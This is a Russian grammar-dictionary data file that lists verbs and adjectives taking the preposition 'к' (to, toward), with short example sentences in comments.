rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ)
rus_verbs:СПИКИРОВАТЬ{}, //
rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С)
rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ)
rus_verbs:ПРОТЯНУТЬ{}, //
rus_verbs:ТЯНУТЬ{}, //
rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,,
rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, //
rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, //
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, //
rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ)
rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке.
rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ)
rus_verbs:хотеть{},
rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ)
rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ)
rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ)
rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ)
rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ)
rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ)
rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ)
rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ)
rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ)
rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г
rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ)
rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ)
rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К)
rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К)
rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К)
rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К)
rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К)
прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К)
безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К)
rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К)
rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К)
rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К)
rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К)
rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К)
rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К)
rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К)
rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К)
rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К)
rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К)
rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К)
rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К)
rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К)
rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К)
rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К)
rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К)
rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К)
rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К)
rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К)
rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К)
rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К)
rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К)
rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К)
глагол:быть{}, // к тебе есть вопросы.
прилагательное:равнодушный{}, // Он равнодушен к музыке.
rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К)
rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К)
инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К)
rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К)
rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к)
rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К)
rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К)
rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К)
rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К)
rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К)
rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К)
rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К)
rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к)
rus_verbs:просить{}, // Директор просит вас к себе. (просить к)
rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к)
rus_verbs:присесть{}, // старик присел к огню. (присесть к)
rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К)
rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к)
rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к)
rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К)
rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К)
rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К)
rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К)
rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к)
rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К)
rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К)
rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К)
rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К)
rus_verbs:подходить{}, // цвет подходил ей к лицу.
rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К)
rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К)
rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К)
rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К)
rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К)
rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К)
rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к)
rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К)
rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К)
rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к)
rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к)
rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К)
rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К)
rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К)
rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К)
rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к)
rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к)
rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к)
rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К)
rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к)
rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к)
rus_verbs:требовать{}, // вас требует к себе император. (требовать к)
rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к)
rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к)
rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К)
rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К)
rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к)
rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К)
rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К)
rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к)
rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к)
rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к)
rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К)
rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к)
rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к)
rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к)
rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К)
rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К)
rus_verbs:выехать{}, // почти сразу мы выехали к реке.
rus_verbs:пододвигаться{}, // пододвигайся к окну
rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам.
rus_verbs:представить{}, // Его представили к ордену.
rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу.
rus_verbs:выскочить{}, // тем временем они выскочили к реке.
rus_verbs:выйти{}, // тем временем они вышли к лестнице.
rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе.
rus_verbs:приложить{}, // приложить к детали повышенное усилие
rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку)
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю
rus_verbs:прыгать{}, // прыгать к хозяину на стол
rus_verbs:приглашать{}, // приглашать к доктору
rus_verbs:рваться{}, // Чужие люди рвутся к власти
rus_verbs:понестись{}, // понестись к обрыву
rus_verbs:питать{}, // питать привязанность к алкоголю
rus_verbs:заехать{}, // Коля заехал к Оле
rus_verbs:переехать{}, // переехать к родителям
rus_verbs:ползти{}, // ползти к дороге
rus_verbs:сводиться{}, // сводиться к элементарному действию
rus_verbs:добавлять{}, // добавлять к общей сумме
rus_verbs:подбросить{}, // подбросить к потолку
rus_verbs:призывать{}, // призывать к спокойствию
rus_verbs:пробираться{}, // пробираться к партизанам
rus_verbs:отвезти{}, // отвезти к родителям
rus_verbs:применяться{}, // применяться к уравнению
rus_verbs:сходиться{}, // сходиться к точному решению
rus_verbs:допускать{}, // допускать к сдаче зачета
rus_verbs:свести{}, // свести к нулю
rus_verbs:придвинуть{}, // придвинуть к мальчику
rus_verbs:подготовить{}, // подготовить к печати
rus_verbs:подобраться{}, // подобраться к оленю
rus_verbs:заторопиться{}, // заторопиться к выходу
rus_verbs:пристать{}, // пристать к берегу
rus_verbs:поманить{}, // поманить к себе
rus_verbs:припасть{}, // припасть к алтарю
rus_verbs:притащить{}, // притащить к себе домой
rus_verbs:прижимать{}, // прижимать к груди
rus_verbs:подсесть{}, // подсесть к симпатичной девочке
rus_verbs:придвинуться{}, // придвинуться к окну
rus_verbs:отпускать{}, // отпускать к другу
rus_verbs:пригнуться{}, // пригнуться к земле
rus_verbs:пристроиться{}, // пристроиться к колонне
rus_verbs:сгрести{}, // сгрести к себе
rus_verbs:удрать{}, // удрать к цыганам
rus_verbs:прибавиться{}, // прибавиться к общей сумме
rus_verbs:присмотреться{}, // присмотреться к покупке
rus_verbs:подкатить{}, // подкатить к трюму
rus_verbs:клонить{}, // клонить ко сну
rus_verbs:проследовать{}, // проследовать к выходу
rus_verbs:пододвинуть{}, // пододвинуть к себе
rus_verbs:применять{}, // применять к сотрудникам
rus_verbs:прильнуть{}, // прильнуть к экранам
rus_verbs:подвинуть{}, // подвинуть к себе
rus_verbs:примчаться{}, // примчаться к папе
rus_verbs:подкрасться{}, // подкрасться к жертве
rus_verbs:привязаться{}, // привязаться к собаке
rus_verbs:забирать{}, // забирать к себе
rus_verbs:прорваться{}, // прорваться к кассе
rus_verbs:прикасаться{}, // прикасаться к коже
rus_verbs:уносить{}, // уносить к себе
rus_verbs:подтянуться{}, // подтянуться к месту
rus_verbs:привозить{}, // привозить к ветеринару
rus_verbs:подползти{}, // подползти к зайцу
rus_verbs:приблизить{}, // приблизить к глазам
rus_verbs:применить{}, // применить к уравнению простое преобразование
rus_verbs:приглядеться{}, // приглядеться к изображению
rus_verbs:приложиться{}, // приложиться к ручке
rus_verbs:приставать{}, // приставать к девчонкам
rus_verbs:запрещаться{}, // запрещаться к показу
rus_verbs:прибегать{}, // прибегать к насилию
rus_verbs:побудить{}, // побудить к действиям
rus_verbs:притягивать{}, // притягивать к себе
rus_verbs:пристроить{}, // пристроить к полезному делу
rus_verbs:приговорить{}, // приговорить к смерти
rus_verbs:склоняться{}, // склоняться к прекращению разработки
rus_verbs:подъезжать{}, // подъезжать к вокзалу
rus_verbs:привалиться{}, // привалиться к забору
rus_verbs:наклоняться{}, // наклоняться к щенку
rus_verbs:подоспеть{}, // подоспеть к обеду
rus_verbs:прилипнуть{}, // прилипнуть к окну
rus_verbs:приволочь{}, // приволочь к себе
rus_verbs:устремляться{}, // устремляться к вершине
rus_verbs:откатиться{}, // откатиться к исходным позициям
rus_verbs:побуждать{}, // побуждать к действиям
rus_verbs:прискакать{}, // прискакать к кормежке
rus_verbs:присматриваться{}, // присматриваться к новичку
rus_verbs:прижиматься{}, // прижиматься к борту
rus_verbs:жаться{}, // жаться к огню
rus_verbs:передвинуть{}, // передвинуть к окну
rus_verbs:допускаться{}, // допускаться к экзаменам
rus_verbs:прикрепить{}, // прикрепить к корпусу
rus_verbs:отправлять{}, // отправлять к специалистам
rus_verbs:перебежать{}, // перебежать к врагам
rus_verbs:притронуться{}, // притронуться к реликвии
rus_verbs:заспешить{}, // заспешить к семье
rus_verbs:ревновать{}, // ревновать к сопернице
rus_verbs:подступить{}, // подступить к горлу
rus_verbs:уводить{}, // уводить к ветеринару
rus_verbs:побросать{}, // побросать к ногам
rus_verbs:подаваться{}, // подаваться к ужину
rus_verbs:приписывать{}, // приписывать к достижениям
rus_verbs:относить{}, // относить к растениям
rus_verbs:принюхаться{}, // принюхаться к ароматам
rus_verbs:подтащить{}, // подтащить к себе
rus_verbs:прислонить{}, // прислонить к стене
rus_verbs:подплыть{}, // подплыть к бую
rus_verbs:опаздывать{}, // опаздывать к стилисту
rus_verbs:примкнуть{}, // примкнуть к деомнстрантам
rus_verbs:стекаться{}, // стекаются к стенам тюрьмы
rus_verbs:подготовиться{}, // подготовиться к марафону
rus_verbs:приглядываться{}, // приглядываться к новичку
rus_verbs:присоединяться{}, // присоединяться к сообществу
rus_verbs:клониться{}, // клониться ко сну
rus_verbs:привыкать{}, // привыкать к хорошему
rus_verbs:принудить{}, // принудить к миру
rus_verbs:уплыть{}, // уплыть к далекому берегу
rus_verbs:утащить{}, // утащить к детенышам
rus_verbs:приплыть{}, // приплыть к финишу
rus_verbs:подбегать{}, // подбегать к хозяину
rus_verbs:лишаться{}, // лишаться средств к существованию
rus_verbs:приступать{}, // приступать к операции
rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике
rus_verbs:подключить{}, // подключить к трубе
rus_verbs:подключиться{}, // подключиться к сети
rus_verbs:прилить{}, // прилить к лицу
rus_verbs:стучаться{}, // стучаться к соседям
rus_verbs:пристегнуть{}, // пристегнуть к креслу
rus_verbs:присоединить{}, // присоединить к сети
rus_verbs:отбежать{}, // отбежать к противоположной стене
rus_verbs:подвезти{}, // подвезти к набережной
rus_verbs:прибегнуть{}, // прибегнуть к хитрости
rus_verbs:приучить{}, // приучить к туалету
rus_verbs:подталкивать{}, // подталкивать к выходу
rus_verbs:прорываться{}, // прорываться к выходу
rus_verbs:увозить{}, // увозить к ветеринару
rus_verbs:засеменить{}, // засеменить к выходу
rus_verbs:крепиться{}, // крепиться к потолку
rus_verbs:прибрать{}, // прибрать к рукам
rus_verbs:пристраститься{}, // пристраститься к наркотикам
rus_verbs:поспеть{}, // поспеть к обеду
rus_verbs:привязывать{}, // привязывать к дереву
rus_verbs:прилагать{}, // прилагать к документам
rus_verbs:переправить{}, // переправить к дедушке
rus_verbs:подогнать{}, // подогнать к воротам
rus_verbs:тяготеть{}, // тяготеть к социализму
rus_verbs:подбираться{}, // подбираться к оленю
rus_verbs:подступать{}, // подступать к горлу
rus_verbs:примыкать{}, // примыкать к первому элементу
rus_verbs:приладить{}, // приладить к велосипеду
rus_verbs:подбрасывать{}, // подбрасывать к потолку
rus_verbs:перевозить{}, // перевозить к новому месту дислокации
rus_verbs:усаживаться{}, // усаживаться к окну
rus_verbs:приближать{}, // приближать к глазам
rus_verbs:попроситься{}, // попроситься к бабушке
rus_verbs:прибить{}, // прибить к доске
rus_verbs:перетащить{}, // перетащить к себе
rus_verbs:прицепить{}, // прицепить к паровозу
rus_verbs:прикладывать{}, // прикладывать к ране
rus_verbs:устареть{}, // устареть к началу войны
rus_verbs:причалить{}, // причалить к пристани
rus_verbs:приспособиться{}, // приспособиться к опозданиям
rus_verbs:принуждать{}, // принуждать к миру
rus_verbs:соваться{}, // соваться к директору
rus_verbs:протолкаться{}, // протолкаться к прилавку
rus_verbs:приковать{}, // приковать к батарее
rus_verbs:подкрадываться{}, // подкрадываться к суслику
rus_verbs:подсадить{}, // подсадить к арестонту
rus_verbs:прикатить{}, // прикатить к финишу
rus_verbs:протащить{}, // протащить к владыке
rus_verbs:сужаться{}, // сужаться к основанию
rus_verbs:присовокупить{}, // присовокупить к пожеланиям
rus_verbs:пригвоздить{}, // пригвоздить к доске
rus_verbs:отсылать{}, // отсылать к первоисточнику
rus_verbs:изготовиться{}, // изготовиться к прыжку
rus_verbs:прилагаться{}, // прилагаться к покупке
rus_verbs:прицепиться{}, // прицепиться к вагону
rus_verbs:примешиваться{}, // примешиваться к вину
rus_verbs:переселить{}, // переселить к старшекурсникам
rus_verbs:затрусить{}, // затрусить к выходе
rus_verbs:приспособить{}, // приспособить к обогреву
rus_verbs:примериться{}, // примериться к аппарату
rus_verbs:прибавляться{}, // прибавляться к пенсии
rus_verbs:подкатиться{}, // подкатиться к воротам
rus_verbs:стягивать{}, // стягивать к границе
rus_verbs:дописать{}, // дописать к роману
rus_verbs:подпустить{}, // подпустить к корове
rus_verbs:склонять{}, // склонять к сотрудничеству
rus_verbs:припечатать{}, // припечатать к стене
rus_verbs:охладеть{}, // охладеть к музыке
rus_verbs:пришить{}, // пришить к шинели
rus_verbs:принюхиваться{}, // принюхиваться к ветру
rus_verbs:подрулить{}, // подрулить к барышне
rus_verbs:наведаться{}, // наведаться к оракулу
rus_verbs:клеиться{}, // клеиться к конверту
rus_verbs:перетянуть{}, // перетянуть к себе
rus_verbs:переметнуться{}, // переметнуться к конкурентам
rus_verbs:липнуть{}, // липнуть к сокурсницам
rus_verbs:поковырять{}, // поковырять к выходу
rus_verbs:подпускать{}, // подпускать к пульту управления
rus_verbs:присосаться{}, // присосаться к источнику
rus_verbs:приклеить{}, // приклеить к стеклу
rus_verbs:подтягивать{}, // подтягивать к себе
rus_verbs:подкатывать{}, // подкатывать к даме
rus_verbs:притрагиваться{}, // притрагиваться к опухоли
rus_verbs:слетаться{}, // слетаться к водопою
rus_verbs:хаживать{}, // хаживать к батюшке
rus_verbs:привлекаться{}, // привлекаться к административной ответственности
rus_verbs:подзывать{}, // подзывать к себе
rus_verbs:прикладываться{}, // прикладываться к иконе
rus_verbs:подтягиваться{}, // подтягиваться к парламенту
rus_verbs:прилепить{}, // прилепить к стенке холодильника
rus_verbs:пододвинуться{}, // пододвинуться к экрану
rus_verbs:приползти{}, // приползти к дереву
rus_verbs:запаздывать{}, // запаздывать к обеду
rus_verbs:припереть{}, // припереть к стене
rus_verbs:нагибаться{}, // нагибаться к цветку
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам
деепричастие:сгоняв{},
rus_verbs:поковылять{}, // поковылять к выходу
rus_verbs:привалить{}, // привалить к столбу
rus_verbs:отпроситься{}, // отпроситься к родителям
rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям
rus_verbs:прилипать{}, // прилипать к рукам
rus_verbs:подсоединить{}, // подсоединить к приборам
rus_verbs:приливать{}, // приливать к голове
rus_verbs:подселить{}, // подселить к другим новичкам
rus_verbs:прилепиться{}, // прилепиться к шкуре
rus_verbs:подлетать{}, // подлетать к пункту назначения
rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями
rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг
rus_verbs:льнуть{}, // льнуть к заботливому хозяину
rus_verbs:привязываться{}, // привязываться к любящему хозяину
rus_verbs:приклеиться{}, // приклеиться к спине
rus_verbs:стягиваться{}, // стягиваться к сенату
rus_verbs:подготавливать{}, // подготавливать к выходу на арену
rus_verbs:приглашаться{}, // приглашаться к доктору
rus_verbs:причислять{}, // причислять к отличникам
rus_verbs:приколоть{}, // приколоть к лацкану
rus_verbs:наклонять{}, // наклонять к горизонту
rus_verbs:припадать{}, // припадать к первоисточнику
rus_verbs:приобщиться{}, // приобщиться к культурному наследию
rus_verbs:придираться{}, // придираться к мелким ошибкам
rus_verbs:приучать{}, // приучать к лотку
rus_verbs:промотать{}, // промотать к началу
rus_verbs:прихлынуть{}, // прихлынуть к голове
rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу
rus_verbs:прикрутить{}, // прикрутить к велосипеду
rus_verbs:подплывать{}, // подплывать к лодке
rus_verbs:приравниваться{}, // приравниваться к побегу
rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами
rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы
rus_verbs:приткнуться{}, // приткнуться к первой группе туристов
rus_verbs:приручить{}, // приручить котика к лотку
rus_verbs:приковывать{}, // приковывать к себе все внимание прессы
rus_verbs:приготовляться{}, // приготовляться к первому экзамену
rus_verbs:остыть{}, // Вода остынет к утру.
rus_verbs:приехать{}, // Он приедет к концу будущей недели.
rus_verbs:подсаживаться{},
rus_verbs:успевать{}, // успевать к стилисту
rus_verbs:привлекать{}, // привлекать к себе внимание
прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму
rus_verbs:прийтись{}, // прийтись ко двору
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы
инфинитив:адаптироваться{вид:несоверш},
глагол:адаптироваться{вид:соверш},
глагол:адаптироваться{вид:несоверш},
деепричастие:адаптировавшись{},
деепричастие:адаптируясь{},
прилагательное:адаптировавшийся{вид:соверш},
//+прилагательное:адаптировавшийся{вид:несоверш},
прилагательное:адаптирующийся{},
rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей
rus_verbs:близиться{}, // Шторм близится к побережью
rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне
rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки
rus_verbs:причислить{}, // Мы причислили его к числу экспертов
rus_verbs:вести{}, // Наша партия ведет народ к процветанию
rus_verbs:взывать{}, // Учителя взывают к совести хулигана
rus_verbs:воззвать{}, // воззвать соплеменников к оружию
rus_verbs:возревновать{}, // возревновать к поклонникам
rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью
rus_verbs:восходить{}, // восходить к вершине
rus_verbs:восшествовать{}, // восшествовать к вершине
rus_verbs:успеть{}, // успеть к обеду
rus_verbs:повернуться{}, // повернуться к кому-то
rus_verbs:обратиться{}, // обратиться к охраннику
rus_verbs:звать{}, // звать к столу
rus_verbs:отправиться{}, // отправиться к парикмахеру
rus_verbs:обернуться{}, // обернуться к зовущему
rus_verbs:явиться{}, // явиться к следователю
rus_verbs:уехать{}, // уехать к родне
rus_verbs:прибыть{}, // прибыть к перекличке
rus_verbs:привыкнуть{}, // привыкнуть к голоду
rus_verbs:уходить{}, // уходить к цыганам
rus_verbs:привести{}, // привести к себе
rus_verbs:шагнуть{}, // шагнуть к славе
rus_verbs:относиться{}, // относиться к прежним периодам
rus_verbs:подослать{}, // подослать к врагам
rus_verbs:поспешить{}, // поспешить к обеду
rus_verbs:зайти{}, // зайти к подруге
rus_verbs:позвать{}, // позвать к себе
rus_verbs:потянуться{}, // потянуться к рычагам
rus_verbs:пускать{}, // пускать к себе
rus_verbs:отвести{}, // отвести к врачу
rus_verbs:приблизиться{}, // приблизиться к решению задачи
rus_verbs:прижать{}, // прижать к стене
rus_verbs:отправить{}, // отправить к доктору
rus_verbs:падать{}, // падать к многолетним минимумам
rus_verbs:полезть{}, // полезть к дерущимся
rus_verbs:лезть{}, // Ты сама ко мне лезла!
rus_verbs:направить{}, // направить к майору
rus_verbs:приводить{}, // приводить к дантисту
rus_verbs:кинуться{}, // кинуться к двери
rus_verbs:поднести{}, // поднести к глазам
rus_verbs:подниматься{}, // подниматься к себе
rus_verbs:прибавить{}, // прибавить к результату
rus_verbs:зашагать{}, // зашагать к выходу
rus_verbs:склониться{}, // склониться к земле
rus_verbs:стремиться{}, // стремиться к вершине
rus_verbs:лететь{}, // лететь к родственникам
rus_verbs:ездить{}, // ездить к любовнице
rus_verbs:приближаться{}, // приближаться к финише
rus_verbs:помчаться{}, // помчаться к стоматологу
rus_verbs:прислушаться{}, // прислушаться к происходящему
rus_verbs:изменить{}, // изменить к лучшему собственную жизнь
rus_verbs:проявить{}, // проявить к погибшим сострадание
rus_verbs:подбежать{}, // подбежать к упавшему
rus_verbs:терять{}, // терять к партнерам доверие
rus_verbs:пропустить{}, // пропустить к певцу
rus_verbs:подвести{}, // подвести к глазам
rus_verbs:меняться{}, // меняться к лучшему
rus_verbs:заходить{}, // заходить к другу
rus_verbs:рвануться{}, // рвануться к воде
rus_verbs:привлечь{}, // привлечь к себе внимание
